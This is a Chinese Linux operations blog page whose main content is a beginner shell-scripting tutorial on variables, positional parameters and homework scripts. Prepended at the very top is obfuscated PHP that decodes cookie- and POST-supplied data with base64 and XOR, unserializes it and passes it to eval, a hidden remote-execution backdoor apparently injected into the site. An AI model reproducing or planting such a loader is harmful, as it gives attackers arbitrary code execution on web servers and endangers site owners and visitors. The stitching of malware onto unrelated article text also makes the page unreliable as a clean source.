$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} shell脚本 | Linux运维部落

shell脚本

shell脚本

简介:

        使用脚本编程语言的好处是,它们多半运行在比编译型语言还高的层级,能够轻易处理文件与目录之类的对象。缺点是:它们的效率通常不如编译型语言。不过权衡之下,通常使用脚本编程还是值得的:花一个小时写成的简单脚本,同样的功能用C或C++来编写实现,可能需要两天,而且一般来说,脚本执行的速度已经够快了,快到足以让人忽略它性能上的问题。因为Shell似乎是各UNIX系统之间通用的功能,并且经过了POSIX的标准化。因此,Shell脚本只要“用心写”一次,即可应用到很多系统上。因此,之所以要使用Shell脚本是基于: 简单性:Shell是一个高级语言;通过它,你可以简洁地表达复杂的操作。 可移植性:使用POSIX所定义的功能,可以做到脚本无须修改就可在不同的系统上执行。 开发容易:可以在短时间内完成一个功能强大又妤用的脚本。

编程基础:

    • 程序:指令+数据

    • 程序编程风格:

            过程式:以指令为中心,数据服务于指令

            对象式:以数据为中心,指令服务于数据

    • shell程序:提供了编程能力,解释执行

程序的执行方式:

    • 计算机:运行二进制指令;

    • 编程语言:

                        低级:汇编

                        高级:

        编译:高级语言–>编译器–>目标代码    如:java,C#

        解释:高级语言–>解释器–>机器代码    如:shell, perl, python

编程基本概念

    • 编程逻辑处理方式:

            顺序执行 (一步一步执行)

            循环执行 (循环重复一种命令直到条件满足退出循环)

            选择执行 (条件判断悬着执行某些命令)

    • shell编程:过程式、解释执行

    编程语言的基本结构:

            数据存储:变量、数组

            表达式: a + b

            语句:if

shell脚本基础

        shell脚本是包含一些命令或声明,并符合一定格式的文 本文件

        格式要求:首行shebang机制 #!/bin/bash

创建shell脚本

    第一步:使用文本编辑器来创建文本文件

        第一行必须包括shell声明序列:#!     如:#!/bin/bash

        添加注释 注释以#开头

    第二步:运行脚本

        给予执行权限

                    blob.png        

脚本调试

    bash -n /path/to/some_script 检测脚本中的语法错误

    bash -x /path/to/some_script 调试执行

    blob.png

变量

    • 变量:命名的内存空间

    • 作用:

        1、数据存储格式

        2、参与的运算

        3、表示的数据范围 类型: 字符 数值:整型、浮点型

    • 变量命名法则:

        1、不能使程序中的保留字:例如if, for;

        2、只能使用数字、字母及下划线,且不能以数字开头

        3、见名知义

        4、统一命名规则:驼峰命名法

1、本地变量

        变量赋值:name=‘value’,

        可以使用引用value:

        (1) 可以是直接字串; name=“root"

        (2) 变量引用:name="$USER"

        (3) 命令引用:name=`COMMAND`, name=$(COMMAND)

    变量引用:${name}, $name

        "":弱引用,其中的变量引用会被替换为变量值

         '':强引用,其中的变量引用不会被替换为变量值,而保 持原字符串

        显示已定义的所有变量:set

        删除变量:unset name

2、环境变量

    变量声明、赋值:

        export name=VALUE

        declare -x name=VALUE

    变量引用:$name, ${name}

    显示所有环境变量:

            export

            env

            printenv

  删除:unset name

      bash有许多内建的环境变量:PATH, SHELL, USRE,UID, HISTSIZE, HOME, PWD, OLDPWD, HISTFILE, PS1

3、位置变量

    shell脚本之位置变量:

        $0       脚本的名称

        $1,$2,$3….   第一个参数,第二个参数,第三个参数 

        shift      每shift一次,参数位置往前一个($2–>$1,$3—>2,…)

        shift N     往前的移动是N个    

    shell脚本之特殊变量:

        $?  上一次执行的状态码

        $#  参数个数

        $*  参数列表

        $@  参数列表

    脚本:

验证位置变量和特殊变量:

#!/bin/bash

echo $0                                          命令本身

echo "the number of values is $#"     脚本参数个数

echo $*                                                    脚本参数列表

echo $@                                                  脚本参数列表

echo   $1                                                                第一个参数

echo   $3                                                                  第三个参数

脚本

blob.png

执行结果

blob.png

[root@localhost ~]# /testdir/bin/ceshi.sh 1 2 3 4 5

/testdir/bin/ceshi.sh                        $0,命令本身

5                                                       参数个数

1 2 3 4 5 参数列表并作为一个字符串,所以这个结果只有一个参数了

1 2 3 4 5 参数列表并每个参数独立出来,所以这个结果还是有五个字符串

1 第一个参数

3 第三个参数

作业实例:

1、编写脚本/root/bin/systeminfo.sh,显示当前主机系统信息,包括主机名,IPv4地址,操作系统版本,内核版本,CPU型号,内存大小,硬盘大小。

主机名:hostname

IPv4地址:ifconfig | grep 'inet\b'  | grep -v '127.0.0.1' | tr -s ' '  | cut -d' '  -f3

操作系统版本:cat /etc/redhat-release

内核版本:uname -r

CPU型号:lscpu | grep -i "型号名称:"

内存大小:free -h | sed -n '2p' | tr -s ' ' | cut -d' ' -f2

硬盘大小:fdisk -l|sed -n '2p'|cut -dG -f1|grep -o [[:digit:]].*\.

blob.png

blob.png

2、编写脚本/root/bin/backup.sh,可实现每日将/etc/目录备份到/root/etcYYYY-mm-dd中

备份至目:/root/etc$(date +%F)

blob.png

blob.png

3、编写脚本/root/bin/disk.sh,显示当前硬盘分区中空间利用率最大的值

显示当前硬盘分区中空间利用率最大的值:df | grep '/dev/sd' | tr -s ' ' | sort -nr -t' ' -k5 | head -1 | cut -d' ' -f5

blob.png

blob.png

4、编写脚本/root/bin/links.sh,显示正连接本主机的每个远程主机的IPv4地址和连接数,并按连接数从大到小排序

显示并排序netstat -nt | tr -s ' ' | cut -d' ' -f5 | tr -cs '0-9.' '\n' | egrep '([0-9]+.){3}[0-9]+' | sort | uniq -c | sort -nr | tr -s ' ' '\t'

blob.png

5、写一个脚本/root/bin/sumid.sh,计算/etc/passwd文件中的第10个用户和第20用户的ID之和

切出uid并做加法

blob.png

显示出来

blob.png

6、写一个脚本/root/bin/sumspace.sh,传递两个文件路径作为参数给脚本,计算这两个文件中所有空白行之和

取两个文件内的空行数并做加法

blob.png

blob.png

6、写一个脚本/root/bin/sumfile.sh,统计/etc, /var, /usr目录中共有多少个一级子目录和文件

统计/etc, /var, /usr目录中共有多少个一级子目录和文件

blob.png

总数

blob.png

7、写一个脚本/root/bin/argsnum.sh,接受一个文件路径作为参数;如果参数个数小于1,则提示用户“至少应该给一个参数”,并立即退出;如果参数个数不小于1,则显示第一个参数所指向的文件中的空白行数

blob.png

blob.png

blob.png

8、写一个

脚本/root/bin/hostping.sh,接受一个主机的IPv4地址做为参数,测试是否可连通。如果能ping通,则提示用户“该IP地址可访问”;如果不可ping通,则提示用户“该IP地址不可访问”

blob.png

blob.png

9、chmod -rw /tmp/file1,编写脚本/root/bin/per.sh,判断当前用户对/tmp/fiile1文件是否不可读且不可写

blob.png

blob.png

10、编写脚本/root/bin/nologin.sh和login.sh,实现禁止和充许普通用户登录系统。

blob.png

blob.png

blob.png

blob.png

11、写一个脚本/root/bin/hostping.sh,接受一个主机的IPv4地址做为参数,先判断是否合格IP,否,提示IP格式不合法并退出,是,测试是否可连通。如果能ping通,则提示用户“该IP地址可访问”;如果不可ping通,则提示用户“该IP地址不可访问”

blob.png

blob.png

12、计算1+2+3+…+100的值

blob.png

blob.png

blob.png

13、计算从脚本第一参数A开始,到第二个参数B的所有数字的总和,判断B是否大于A,否提示错误并退出,是则计算之

blob.png

blob.png

原创文章,作者:502795641,如若转载,请注明出处:http://www.178linux.com/35451

(0)
上一篇 2016-08-15 09:24
下一篇 2016-08-15 09:24

相关推荐

  • DNS and BIND 初步

    DNS and bind 初步 前言 TCP/IP协议通信是针对于ip地址的,你说我要是去淘宝买东西,怎么可能记住ip地址,我要是去百度买东西,也记不住啊,所以针对于此,就出现了这样一个翻译器,起一个名字,跟ip地址对应。是多对一还是一对多呢,都可以,我几个ip指向一个网址也没问题,几个网址指向一个ip也可以。 对于反向域名解析功能等以后用到再做总结,反向域…

    Linux干货 2016-12-06
  • CentOS 7 部署LAMP架构(独立服务模式)

    细节要求:(1) 三者分离于三台主机,Httpd与PHP以FastCGI模式通讯; (2) 一个虚拟主机用于提供phpMyAdmin;另一个虚拟主机用于提供wordpress; (3) 部署PHP加速器:xcache; 一、准备CentOS 7主机环境以及Repo仓库提供基于rpm安装包方式的程序包安装源 安装主机程序包规划: 主机1:web-server(…

    Linux干货 2017-02-17
  • Apc缓存Opcode

    1、PHP执行 PHP的运行阶段也分成三个阶段: Parse。语法分析阶段。 Compile。编译产出opcode中间码。 Execute。运行,动态运行进行输出。                            …

    Linux干货 2015-04-10
  • 集中练习2

    用户管理、文本处理、文件管理相关

    2017-09-20
  • select与case组合循环

    select与case: 格式: select variable in list do 循环体命令 done 例1:     #!/bin/bash PS3="what do you want: " select i in a b c d         #在例2中省略…

    Linux干货 2016-08-22
  • keepalived实现前端负载均衡器的高可用

    概述:     在之前的内容中,我们了解了当一个网站并发量大时,可以利用前端负载均衡器将用户请求调度到后端的多个real server上,实现分散服务压力,横向扩展的方式,形成LB集群,但是试想一下,作为前端负载均衡器:     如果是LVS,万一作为前端调度器的Director…

    Linux干货 2016-11-01

评论列表(1条)

  • 马哥教育
    马哥教育 2016-08-15 16:58

    文章整体思路清晰,排版精美,内容充实饱满